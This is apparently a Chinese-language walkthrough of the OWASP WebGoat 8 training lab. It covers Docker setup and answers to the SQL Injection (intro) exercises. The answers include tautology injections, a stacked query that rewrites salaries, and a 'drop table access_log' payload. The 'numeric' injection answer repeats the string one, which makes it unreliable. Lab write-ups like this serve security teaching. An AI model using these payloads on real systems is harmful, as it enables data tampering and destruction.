1.什么是Webgoat?
WebGoat 是 OWASP 组织研制出的用于进行 web 漏洞实验的应用平台,用来说明 web 应用中存在的安全漏洞。WebGoat 运行在带有 java 虚拟机的平台之上,包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、 操纵参数、弱会话 cookie、SQL 盲注、数字型 SQL 注入、字符串型 SQL 注入、web 服务、Open Authentication 失效、危险的 HTML 注释等等。WebGoat 提供了一系列 web 安全学习的教程, 某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击
2.Webgoat8安装(基于docker)
下载容器:docker pull webgoat/webgoat-8.0
查看镜像:docker images
运行:docker run -p 8080:8080 -t webgoat/webgoat-8.0
浏览器访问:http://localhost:8080/WebGoat/login
点击Register new user注册一个新账户,并登录
2.(A1)SQL Injection(intro)
X-02
本题:查看示例表,尝试检索员工Bob Franco所在部门。主要考察sql语句的查询
(1)select department from employees where first_name=‘Bob’;
(2)select department from employees where last_name=‘Franco’;
x-03
本题:把‘Tobi Barnett’的部门改成销售部。
update employees set department=‘Sales’ where first_name=‘Tobi’;
x-04
本题:给“employees”表中添加“phone”列,长度20
x-05
本题:尝试授予用户组“UnauthorizedUser”更改表的权限
x-09
本题考察字符串sql注入:
SELECT * FROM user_data WHERE first_name = ‘John’ and last_name = ‘’ or ‘1’ = ‘1’
x-10
本题考察数值型sql注入:
SELECT * FROM user_data WHERE first_name = ‘John’ and last_name = ‘’ or ‘1’ = ‘1’
x-11
本题考查字符串注入:
employee name: Smith
tan:’ or ’ 1 ’ = ’ 1
x-12
本题使用查询链破坏完整性:
employee name: ’ ; update employees set salary=1000000 where last_name=‘Smith’; –
tan: 随便填
x-13
'; drop table access_log;–